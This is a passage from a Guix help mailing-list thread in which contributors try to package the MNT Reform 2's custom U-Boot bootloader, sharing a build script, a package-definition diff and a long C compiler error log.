`/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed with exit code 1 build of /gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv failed View build log at '/var/log/guix/drvs/ah/qnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv.bz2'. guix build: error: build of `/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed #+END_VERBATIM I guess here's where my lack of knowledge of C-land is failing me. Any thoughts or ideas? - Christine ^ permalink raw reply related [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-06 17:07 ` Christine Lemmer-Webber @ 2021-09-06 19:37 ` Fredrik Salomonsson 2021-09-06 20:50 ` Christine Lemmer-Webber 0 siblings, 1 reply; 31+ messages in thread From: Fredrik Salomonsson @ 2021-09-06 19:37 UTC (permalink / raw) To: Christine Lemmer-Webber; +Cc: help-guix Christine Lemmer-Webber <cwebber@dustycloud.org> writes: >> Cool! Hope it gets up and running soon. Thanks, I got it running somewhat. My batteries are still a bit messed up after I accidentally let it drain them too low. I ordered a battery charger so hopefully I can get them in great shape again. >> In the meanwhile, some local notes... >> >> It looks like the relevant info to get going is here: >> >> https://mntre.com/reform2/handbook/advanced.html#system-boot >> >> There's a script to compile a custom u-boot: >> >> https://source.mnt.re/reform/reform-system-image/-/blob/main/reform2-imx8mq/mkuboot.sh >> >> #+BEGIN_SRC bash >> if [ ! -d u-boot ] >> then >> echo "Cloning U-Boot..." >> git clone --depth 1 https://source.mnt.re/reform/reform-boundary-uboot.git u-boot >> fi >> >> cd u-boot >> cp mntreform-config .config >> >> export CROSS_COMPILE=aarch64-linux-gnu- >> export ARCH=arm >> >> # build rescue u-boot first (loads kernel from eMMC) >> make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC' >> cp flash.bin flash-rescue.bin >> >> # build normal u-boot second (loads kernel from SD card) >> make -j$(nproc) flash.bin >> >> cd .. >> #+END_SRC >> >> So that doesn't look to complicated. >> >> Here's the custom u-boot: >> >> https://source.mnt.re/reform/reform-boundary-uboot >> >> It says: >> >> "Fork of the vendor (Boundary Devices) u-boot for Reform 2, with >> minor tweaks. The goal is to migrate to mainstream u-boot or barebox >> ASAP. The main impediment so far is the 4GB RAM config." >> >> So we probably want to make a u-boot-mnt-reform in >> gnu/packages/bootloaders.scm >> >> So we probably want to use "guix system image" and then add: >> >> gnu/system/images/mnt-reform.scm >> >> Ideally in the end we should be able to do: >> >> guix system image --image-type=mnt-reform my-os.scm >> >> So yeah, the rest of the pieces to figuring it out seem to be all here: >> >> https://mntre.com/reform2/handbook/advanced.html#system-boot >> >> It *seems* like this should all be possible... >> >> - Christine Thanks for the notes! I've just been poking around in the guix source code to get a grasp how it works plus reading the Guix on an ARM Board by Julien Lepiller [0] [0] https://guix.gnu.org/blog/2019/guix-on-an-arm-board/ > > Here's the progress I've made so far: > > #+BEGIN_SRC diff > diff --git a/gnu/packages/bootloaders.scm b/gnu/packages/bootloaders.scm > index 2889a90d54..17a7abc657 100644 > --- a/gnu/packages/bootloaders.scm > +++ b/gnu/packages/bootloaders.scm > @@ -953,6 +953,38 @@ to Novena upstream, does not load u-boot.img from the first partition.") > `(("firmware" ,arm-trusted-firmware-rk3399) > ,@(package-native-inputs base)))))) > > +(define-public u-boot-mnt-reform2 > + (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu")) > + (commit "bdcdce7434b9db19aabd59181014f24d66af0db8")) > + (package > + (inherit base) > + (version "2021.06") > + (name "u-boot-mnt-reform2") > + (source (origin > + (method git-fetch) > + (uri (git-reference > + (url "https://source.mnt.re/reform/reform-boundary-uboot.git") > + (commit commit))) > + (file-name (git-file-name name version)) > + (sha256 > + (base32 > + "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3")))) > + (arguments > + (substitute-keyword-arguments (package-arguments base) > + ((#:phases phases) > + `(modify-phases ,phases > + (replace 'configure > + (lambda _ > + (copy-file "mntreform-config" ".config"))) > + > + ;; Phases do not succeed on the bl31 ELF. > + #;(delete 'strip) > + #;(delete 'validate-runpath))))) > + #;(native-inputs > + `(("firmware" ,arm-trusted-firmware-rk3399) > + ,@(package-native-inputs base)))) > + )) > + > (define-public vboot-utils > (package > (name "vboot-utils") > #+END_SRC > > However, I hit this error when trying to compile: > > #+BEGIN_VERBATIM > starting phase `build' > HOSTCC scripts/basic/fixdep > In file included from /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdlib.h:9:0, > from scripts/basic/fixdep.c:112: > /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h:875:22: error: missing binary operator before token "(" > #if CONFIG_IS_ENABLED(SYS_MALLOC_SIMPLE) > ^ > In file included from scripts/basic/fixdep.c:113:0: > /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:14: error: expected declaration specifiers or '...' before numeric constant > int __printf(1, 2) printf(const char *fmt, ...); > ^ > /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:17: error: expected declaration specifiers or '...' before numeric constant > int __printf(1, 2) printf(const char *fmt, ...); > ^ > /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:14: error: expected declaration specifiers or '...' before numeric constant > int __printf(2, 3) fprintf(int file, const char *fmt, ...); > ^ > /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:17: error: expected declaration specifiers or '...' before numeric constant > int __printf(2, 3) fprintf(int file, const char *fmt, ...); > ^ > scripts/basic/fixdep.c: In function 'usage': > scripts/basic/fixdep.c:130:2: warning: implicit declaration of function 'fprintf' [-Wimplicit-function-declaration] > fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n"); > ^~~~~~~ > scripts/basic/fixdep.c:130:2: warning: incompatible implicit declaration of built-in function 'fprintf' > scripts/basic/fixdep.c:130:2: note: include '<stdio.h>' or provide a declaration of 'fprintf' > scripts/basic/fixdep.c:130:10: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] > fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n"); > ^~~~~~ > scripts/basic/fixdep.c:130:10: note: expected 'void *' but argument is of type 'int' > scripts/basic/fixdep.c:131:2: warning: implicit declaration of function 'exit' [-Wimplicit-function-declaration] > exit(1); > ^~~~ > scripts/basic/fixdep.c:131:2: warning: incompatible implicit declaration of built-in function 'exit' > scripts/basic/fixdep.c:131:2: note: include '<stdlib.h>' or provide a declaration of 'exit' > scripts/basic/fixdep.c: In function 'print_cmdline': > scripts/basic/fixdep.c:139:2: warning: implicit declaration of function 'printf' [-Wimplicit-function-declaration] > printf("cmd_%s := %s\n\n", target, cmdline); > ^~~~~~ > scripts/basic/fixdep.c:139:2: warning: incompatible implicit declaration of built-in function 'printf' > scripts/basic/fixdep.c:139:2: note: include '<stdio.h>' or provide a declaration of 'printf' > scripts/basic/fixdep.c: In function 'define_config': > scripts/basic/fixdep.c:185:3: warning: implicit declaration of function 'perror'; did you mean 'strerror'? [-Wimplicit-function-declaration] > perror("fixdep:malloc"); > ^~~~~~ > strerror > scripts/basic/fixdep.c:186:3: warning: incompatible implicit declaration of built-in function 'exit' > exit(1); > ^~~~ > scripts/basic/fixdep.c:186:3: note: include '<stdlib.h>' or provide a declaration of 'exit' > scripts/basic/fixdep.c: In function 'use_config': > scripts/basic/fixdep.c:208:2: warning: incompatible implicit declaration of built-in function 'printf' > printf(" $(wildcard include/config/"); > ^~~~~~ > scripts/basic/fixdep.c:208:2: note: include '<stdio.h>' or provide a declaration of 'printf' > scripts/basic/fixdep.c:215:3: warning: implicit declaration of function 'putchar' [-Wimplicit-function-declaration] > putchar(c); > ^~~~~~~ > scripts/basic/fixdep.c: In function 'do_config_file': > scripts/basic/fixdep.c:302:3: warning: incompatible implicit declaration of built-in function 'fprintf' > fprintf(stderr, "fixdep: error opening config file: "); > ^~~~~~~ > scripts/basic/fixdep.c:302:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' > scripts/basic/fixdep.c:302:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] > fprintf(stderr, "fixdep: error opening config file: "); > ^~~~~~ > scripts/basic/fixdep.c:302:11: note: expected 'void *' but argument is of type 'int' > scripts/basic/fixdep.c:304:3: warning: incompatible implicit declaration of built-in function 'exit' > exit(2); > ^~~~ > scripts/basic/fixdep.c:304:3: note: include '<stdlib.h>' or provide a declaration of 'exit' > scripts/basic/fixdep.c:307:3: warning: incompatible implicit declaration of built-in function 'fprintf' > fprintf(stderr, "fixdep: error fstat'ing config file: "); > ^~~~~~~ > scripts/basic/fixdep.c:307:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' > scripts/basic/fixdep.c:307:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] > fprintf(stderr, "fixdep: error fstat'ing config file: "); > ^~~~~~ > scripts/basic/fixdep.c:307:11: note: expected 'void *' but argument is of type 'int' > scripts/basic/fixdep.c:309:3: warning: incompatible implicit declaration of built-in function 'exit' > exit(2); > ^~~~ > scripts/basic/fixdep.c:309:3: note: include '<stdlib.h>' or provide a declaration of 'exit' > scripts/basic/fixdep.c: In function 'parse_dep_file': > scripts/basic/fixdep.c:387:7: warning: incompatible implicit declaration of built-in function 'printf' > printf("source_%s := %s\n\n", > ^~~~~~ > scripts/basic/fixdep.c:387:7: note: include '<stdio.h>' or provide a declaration of 'printf' > scripts/basic/fixdep.c:394:6: warning: incompatible implicit declaration of built-in function 'printf' > printf(" %s \\\n", s); > ^~~~~~ > scripts/basic/fixdep.c:394:6: note: include '<stdio.h>' or provide a declaration of 'printf' > scripts/basic/fixdep.c:406:3: warning: incompatible implicit declaration of built-in function 'fprintf' > fprintf(stderr, "fixdep: parse error; no targets found\n"); > ^~~~~~~ > scripts/basic/fixdep.c:406:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' > scripts/basic/fixdep.c:406:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] > fprintf(stderr, "fixdep: parse error; no targets found\n"); > ^~~~~~ > scripts/basic/fixdep.c:406:11: note: expected 'void *' but argument is of type 'int' > scripts/basic/fixdep.c:407:3: warning: incompatible implicit declaration of built-in function 'exit' > exit(1); > ^~~~ > scripts/basic/fixdep.c:407:3: note: include '<stdlib.h>' or provide a declaration of 'exit' > scripts/basic/fixdep.c:410:2: warning: incompatible implicit declaration of built-in function 'printf' > printf("\n%s: $(deps_%s)\n\n", target, target); > ^~~~~~ > scripts/basic/fixdep.c:410:2: note: include '<stdio.h>' or provide a declaration of 'printf' > scripts/basic/fixdep.c: In function 'print_deps': > scripts/basic/fixdep.c:422:3: warning: incompatible implicit declaration of built-in function 'fprintf' > fprintf(stderr, "fixdep: error opening depfile: "); > ^~~~~~~ > scripts/basic/fixdep.c:422:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' > scripts/basic/fixdep.c:422:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] > fprintf(stderr, "fixdep: error opening depfile: "); > ^~~~~~ > scripts/basic/fixdep.c:422:11: note: expected 'void *' but argument is of type 'int' > scripts/basic/fixdep.c:424:3: warning: incompatible implicit declaration of built-in function 'exit' > exit(2); > ^~~~ > scripts/basic/fixdep.c:424:3: note: include '<stdlib.h>' or provide a declaration of 'exit' > scripts/basic/fixdep.c:427:3: warning: incompatible implicit declaration of built-in function 'fprintf' > fprintf(stderr, "fixdep: error fstat'ing depfile: "); > ^~~~~~~ > scripts/basic/fixdep.c:427:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' > scripts/basic/fixdep.c:427:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] > fprintf(stderr, "fixdep: error fstat'ing depfile: "); > ^~~~~~ > scripts/basic/fixdep.c:427:11: note: expected 'void *' but argument is of type 'int' > scripts/basic/fixdep.c:429:3: warning: incompatible implicit declaration of built-in function 'exit' > exit(2); > ^~~~ > scripts/basic/fixdep.c:429:3: note: include '<stdlib.h>' or provide a declaration of 'exit' > scripts/basic/fixdep.c:432:3: warning: incompatible implicit declaration of built-in function 'fprintf' > fprintf(stderr,"fixdep: %s is empty\n",depfile); > ^~~~~~~ > scripts/basic/fixdep.c:432:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' > scripts/basic/fixdep.c:432:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] > fprintf(stderr,"fixdep: %s is empty\n",depfile); > ^~~~~~ > scripts/basic/fixdep.c:432:11: note: expected 'void *' but argument is of type 'int' > scripts/basic/fixdep.c: In function 'traps': > scripts/basic/fixdep.c:456:3: warning: incompatible implicit declaration of built-in function 'fprintf' > fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n", > ^~~~~~~ > scripts/basic/fixdep.c:456:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' > scripts/basic/fixdep.c:456:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] > fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n", > ^~~~~~ > scripts/basic/fixdep.c:456:11: note: expected 'void *' but argument is of type 'int' > scripts/basic/fixdep.c:458:3: warning: incompatible implicit declaration of built-in function 'exit' > exit(2); > ^~~~ > scripts/basic/fixdep.c:458:3: note: include '<stdlib.h>' or provide a declaration of 'exit' > make[2]: *** [scripts/Makefile.host:97: scripts/basic/fixdep] Error 1 > make[1]: *** [Makefile:411: scripts_basic] Error 2 > make: *** No rule to make target 'include/config/auto.conf', needed by 'include/config/uboot.release'. Stop. > command "make" "-j" "8" "HOSTCC=gcc" "CROSS_COMPILE=aarch64-linux-gnu-" failed with status 2 > note: keeping build directory `/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-1' > builder for `/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed with exit code 1 > build of /gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv failed > View build log at '/var/log/guix/drvs/ah/qnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv.bz2'. > guix build: error: build of `/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed > #+END_VERBATIM > > I guess here's where my lack of knowledge of C-land is failing me. > > Any thoughts or ideas? > > - Christine Sounds like the error: > /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h:875:22: error: missing binary operator before token "(" > #if CONFIG_IS_ENABLED(SYS_MALLOC_SIMPLE) > ^ is due to the =CONFIG_IS_ENABLED= not being defined and causing the preprocessor to error out. And the second error: > make: *** No rule to make target 'include/config/auto.conf', needed by 'include/config/uboot.release'. Stop. might be a side effect from the first error. I've applied your patch and get the same error so I'll do some digging and see what I can find. -- s/Fred[re]+i[ck]+/Fredrik/g ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-06 19:37 ` Fredrik Salomonsson @ 2021-09-06 20:50 ` Christine Lemmer-Webber 2021-09-06 23:59 ` Fredrik Salomonsson 0 siblings, 1 reply; 31+ messages in thread From: Christine Lemmer-Webber @ 2021-09-06 20:50 UTC (permalink / raw) To: Fredrik Salomonsson; +Cc: help-guix Fredrik Salomonsson <plattfot@posteo.net> writes: > Christine Lemmer-Webber <cwebber@dustycloud.org> writes: > >>> Cool! Hope it gets up and running soon. > > Thanks, I got it running somewhat. My batteries are still a bit messed > up after I accidentally let it drain them too low. I ordered a battery > charger so hopefully I can get them in great shape again. Ooh! This is a great email. Thank you for your help. >>> In the meanwhile, some local notes... >>> >>> It looks like the relevant info to get going is here: >>> >>> https://mntre.com/reform2/handbook/advanced.html#system-boot >>> >>> There's a script to compile a custom u-boot: >>> >>> https://source.mnt.re/reform/reform-system-image/-/blob/main/reform2-imx8mq/mkuboot.sh >>> >>> #+BEGIN_SRC bash >>> if [ ! -d u-boot ] >>> then >>> echo "Cloning U-Boot..." >>> git clone --depth 1 https://source.mnt.re/reform/reform-boundary-uboot.git u-boot >>> fi >>> >>> cd u-boot >>> cp mntreform-config .config >>> >>> export CROSS_COMPILE=aarch64-linux-gnu- >>> export ARCH=arm >>> >>> # build rescue u-boot first (loads kernel from eMMC) >>> make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC' >>> cp flash.bin flash-rescue.bin >>> >>> # build normal u-boot second (loads kernel from SD card) >>> make -j$(nproc) flash.bin >>> >>> cd .. >>> #+END_SRC >>> >>> So that doesn't look to complicated. >>> >>> Here's the custom u-boot: >>> >>> https://source.mnt.re/reform/reform-boundary-uboot >>> >>> It says: >>> >>> "Fork of the vendor (Boundary Devices) u-boot for Reform 2, with >>> minor tweaks. The goal is to migrate to mainstream u-boot or barebox >>> ASAP. The main impediment so far is the 4GB RAM config." >>> >>> So we probably want to make a u-boot-mnt-reform in >>> gnu/packages/bootloaders.scm >>> >>> So we probably want to use "guix system image" and then add: >>> >>> gnu/system/images/mnt-reform.scm >>> >>> Ideally in the end we should be able to do: >>> >>> guix system image --image-type=mnt-reform my-os.scm >>> >>> So yeah, the rest of the pieces to figuring it out seem to be all here: >>> >>> https://mntre.com/reform2/handbook/advanced.html#system-boot >>> >>> It *seems* like this should all be possible... >>> >>> - Christine > > Thanks for the notes! I've just been poking around in the guix source > code to get a grasp how it works plus reading the Guix on an ARM Board > by Julien Lepiller [0] > > [0] https://guix.gnu.org/blog/2019/guix-on-an-arm-board/ > >> >> Here's the progress I've made so far: >> >> #+BEGIN_SRC diff >> diff --git a/gnu/packages/bootloaders.scm b/gnu/packages/bootloaders.scm >> index 2889a90d54..17a7abc657 100644 >> --- a/gnu/packages/bootloaders.scm >> +++ b/gnu/packages/bootloaders.scm >> @@ -953,6 +953,38 @@ to Novena upstream, does not load u-boot.img from the first partition.") >> `(("firmware" ,arm-trusted-firmware-rk3399) >> ,@(package-native-inputs base)))))) >> >> +(define-public u-boot-mnt-reform2 >> + (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu")) >> + (commit "bdcdce7434b9db19aabd59181014f24d66af0db8")) >> + (package >> + (inherit base) >> + (version "2021.06") >> + (name "u-boot-mnt-reform2") >> + (source (origin >> + (method git-fetch) >> + (uri (git-reference >> + (url "https://source.mnt.re/reform/reform-boundary-uboot.git") >> + (commit commit))) >> + (file-name (git-file-name name version)) >> + (sha256 >> + (base32 >> + "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3")))) >> + (arguments >> + (substitute-keyword-arguments (package-arguments base) >> + ((#:phases phases) >> + `(modify-phases ,phases >> + (replace 'configure >> + (lambda _ >> + (copy-file "mntreform-config" ".config"))) >> + >> + ;; Phases do not succeed on the bl31 ELF. >> + #;(delete 'strip) >> + #;(delete 'validate-runpath))))) >> + #;(native-inputs >> + `(("firmware" ,arm-trusted-firmware-rk3399) >> + ,@(package-native-inputs base)))) >> + )) >> + >> (define-public vboot-utils >> (package >> (name "vboot-utils") >> #+END_SRC >> >> However, I hit this error when trying to compile: >> >> #+BEGIN_VERBATIM >> starting phase `build' >> HOSTCC scripts/basic/fixdep >> In file included from /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdlib.h:9:0, >> from scripts/basic/fixdep.c:112: >> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h:875:22: error: missing binary operator before token "(" >> #if CONFIG_IS_ENABLED(SYS_MALLOC_SIMPLE) >> ^ >> In file included from scripts/basic/fixdep.c:113:0: >> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:14: error: expected declaration specifiers or '...' before numeric constant >> int __printf(1, 2) printf(const char *fmt, ...); >> ^ >> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:17: error: expected declaration specifiers or '...' before numeric constant >> int __printf(1, 2) printf(const char *fmt, ...); >> ^ >> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:14: error: expected declaration specifiers or '...' before numeric constant >> int __printf(2, 3) fprintf(int file, const char *fmt, ...); >> ^ >> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:17: error: expected declaration specifiers or '...' before numeric constant >> int __printf(2, 3) fprintf(int file, const char *fmt, ...); >> ^ >> scripts/basic/fixdep.c: In function 'usage': >> scripts/basic/fixdep.c:130:2: warning: implicit declaration of function 'fprintf' [-Wimplicit-function-declaration] >> fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n"); >> ^~~~~~~ >> scripts/basic/fixdep.c:130:2: warning: incompatible implicit declaration of built-in function 'fprintf' >> scripts/basic/fixdep.c:130:2: note: include '<stdio.h>' or provide a declaration of 'fprintf' >> scripts/basic/fixdep.c:130:10: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] >> fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n"); >> ^~~~~~ >> scripts/basic/fixdep.c:130:10: note: expected 'void *' but argument is of type 'int' >> scripts/basic/fixdep.c:131:2: warning: implicit declaration of function 'exit' [-Wimplicit-function-declaration] >> exit(1); >> ^~~~ >> scripts/basic/fixdep.c:131:2: warning: incompatible implicit declaration of built-in function 'exit' >> scripts/basic/fixdep.c:131:2: note: include '<stdlib.h>' or provide a declaration of 'exit' >> scripts/basic/fixdep.c: In function 'print_cmdline': >> scripts/basic/fixdep.c:139:2: warning: implicit declaration of function 'printf' [-Wimplicit-function-declaration] >> printf("cmd_%s := %s\n\n", target, cmdline); >> ^~~~~~ >> scripts/basic/fixdep.c:139:2: warning: incompatible implicit declaration of built-in function 'printf' >> scripts/basic/fixdep.c:139:2: note: include '<stdio.h>' or provide a declaration of 'printf' >> scripts/basic/fixdep.c: In function 'define_config': >> scripts/basic/fixdep.c:185:3: warning: implicit declaration of function 'perror'; did you mean 'strerror'? [-Wimplicit-function-declaration] >> perror("fixdep:malloc"); >> ^~~~~~ >> strerror >> scripts/basic/fixdep.c:186:3: warning: incompatible implicit declaration of built-in function 'exit' >> exit(1); >> ^~~~ >> scripts/basic/fixdep.c:186:3: note: include '<stdlib.h>' or provide a declaration of 'exit' >> scripts/basic/fixdep.c: In function 'use_config': >> scripts/basic/fixdep.c:208:2: warning: incompatible implicit declaration of built-in function 'printf' >> printf(" $(wildcard include/config/"); >> ^~~~~~ >> scripts/basic/fixdep.c:208:2: note: include '<stdio.h>' or provide a declaration of 'printf' >> scripts/basic/fixdep.c:215:3: warning: implicit declaration of function 'putchar' [-Wimplicit-function-declaration] >> putchar(c); >> ^~~~~~~ >> scripts/basic/fixdep.c: In function 'do_config_file': >> scripts/basic/fixdep.c:302:3: warning: incompatible implicit declaration of built-in function 'fprintf' >> fprintf(stderr, "fixdep: error opening config file: "); >> ^~~~~~~ >> scripts/basic/fixdep.c:302:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' >> scripts/basic/fixdep.c:302:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] >> fprintf(stderr, "fixdep: error opening config file: "); >> ^~~~~~ >> scripts/basic/fixdep.c:302:11: note: expected 'void *' but argument is of type 'int' >> scripts/basic/fixdep.c:304:3: warning: incompatible implicit declaration of built-in function 'exit' >> exit(2); >> ^~~~ >> scripts/basic/fixdep.c:304:3: note: include '<stdlib.h>' or provide a declaration of 'exit' >> scripts/basic/fixdep.c:307:3: warning: incompatible implicit declaration of built-in function 'fprintf' >> fprintf(stderr, "fixdep: error fstat'ing config file: "); >> ^~~~~~~ >> scripts/basic/fixdep.c:307:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' >> scripts/basic/fixdep.c:307:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] >> fprintf(stderr, "fixdep: error fstat'ing config file: "); >> ^~~~~~ >> scripts/basic/fixdep.c:307:11: note: expected 'void *' but argument is of type 'int' >> scripts/basic/fixdep.c:309:3: warning: incompatible implicit declaration of built-in function 'exit' >> exit(2); >> ^~~~ >> scripts/basic/fixdep.c:309:3: note: include '<stdlib.h>' or provide a declaration of 'exit' >> scripts/basic/fixdep.c: In function 'parse_dep_file': >> scripts/basic/fixdep.c:387:7: warning: incompatible implicit declaration of built-in function 'printf' >> printf("source_%s := %s\n\n", >> ^~~~~~ >> scripts/basic/fixdep.c:387:7: note: include '<stdio.h>' or provide a declaration of 'printf' >> scripts/basic/fixdep.c:394:6: warning: incompatible implicit declaration of built-in function 'printf' >> printf(" %s \\\n", s); >> ^~~~~~ >> scripts/basic/fixdep.c:394:6: note: include '<stdio.h>' or provide a declaration of 'printf' >> scripts/basic/fixdep.c:406:3: warning: incompatible implicit declaration of built-in function 'fprintf' >> fprintf(stderr, "fixdep: parse error; no targets found\n"); >> ^~~~~~~ >> scripts/basic/fixdep.c:406:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' >> scripts/basic/fixdep.c:406:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] >> fprintf(stderr, "fixdep: parse error; no targets found\n"); >> ^~~~~~ >> scripts/basic/fixdep.c:406:11: note: expected 'void *' but argument is of type 'int' >> scripts/basic/fixdep.c:407:3: warning: incompatible implicit declaration of built-in function 'exit' >> exit(1); >> ^~~~ >> scripts/basic/fixdep.c:407:3: note: include '<stdlib.h>' or provide a declaration of 'exit' >> scripts/basic/fixdep.c:410:2: warning: incompatible implicit declaration of built-in function 'printf' >> printf("\n%s: $(deps_%s)\n\n", target, target); >> ^~~~~~ >> scripts/basic/fixdep.c:410:2: note: include '<stdio.h>' or provide a declaration of 'printf' >> scripts/basic/fixdep.c: In function 'print_deps': >> scripts/basic/fixdep.c:422:3: warning: incompatible implicit declaration of built-in function 'fprintf' >> fprintf(stderr, "fixdep: error opening depfile: "); >> ^~~~~~~ >> scripts/basic/fixdep.c:422:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' >> scripts/basic/fixdep.c:422:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] >> fprintf(stderr, "fixdep: error opening depfile: "); >> ^~~~~~ >> scripts/basic/fixdep.c:422:11: note: expected 'void *' but argument is of type 'int' >> scripts/basic/fixdep.c:424:3: warning: incompatible implicit declaration of built-in function 'exit' >> exit(2); >> ^~~~ >> scripts/basic/fixdep.c:424:3: note: include '<stdlib.h>' or provide a declaration of 'exit' >> scripts/basic/fixdep.c:427:3: warning: incompatible implicit declaration of built-in function 'fprintf' >> fprintf(stderr, "fixdep: error fstat'ing depfile: "); >> ^~~~~~~ >> scripts/basic/fixdep.c:427:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' >> scripts/basic/fixdep.c:427:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] >> fprintf(stderr, "fixdep: error fstat'ing depfile: "); >> ^~~~~~ >> scripts/basic/fixdep.c:427:11: note: expected 'void *' but argument is of type 'int' >> scripts/basic/fixdep.c:429:3: warning: incompatible implicit declaration of built-in function 'exit' >> exit(2); >> ^~~~ >> scripts/basic/fixdep.c:429:3: note: include '<stdlib.h>' or provide a declaration of 'exit' >> scripts/basic/fixdep.c:432:3: warning: incompatible implicit declaration of built-in function 'fprintf' >> fprintf(stderr,"fixdep: %s is empty\n",depfile); >> ^~~~~~~ >> scripts/basic/fixdep.c:432:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' >> scripts/basic/fixdep.c:432:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] >> fprintf(stderr,"fixdep: %s is empty\n",depfile); >> ^~~~~~ >> scripts/basic/fixdep.c:432:11: note: expected 'void *' but argument is of type 'int' >> scripts/basic/fixdep.c: In function 'traps': >> scripts/basic/fixdep.c:456:3: warning: incompatible implicit declaration of built-in function 'fprintf' >> fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n", >> ^~~~~~~ >> scripts/basic/fixdep.c:456:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' >> scripts/basic/fixdep.c:456:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] >> fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n", >> ^~~~~~ >> scripts/basic/fixdep.c:456:11: note: expected 'void *' but argument is of type 'int' >> scripts/basic/fixdep.c:458:3: warning: incompatible implicit declaration of built-in function 'exit' >> exit(2); >> ^~~~ >> scripts/basic/fixdep.c:458:3: note: include '<stdlib.h>' or provide a declaration of 'exit' >> make[2]: *** [scripts/Makefile.host:97: scripts/basic/fixdep] Error 1 >> make[1]: *** [Makefile:411: scripts_basic] Error 2 >> make: *** No rule to make target 'include/config/auto.conf', needed by 'include/config/uboot.release'. 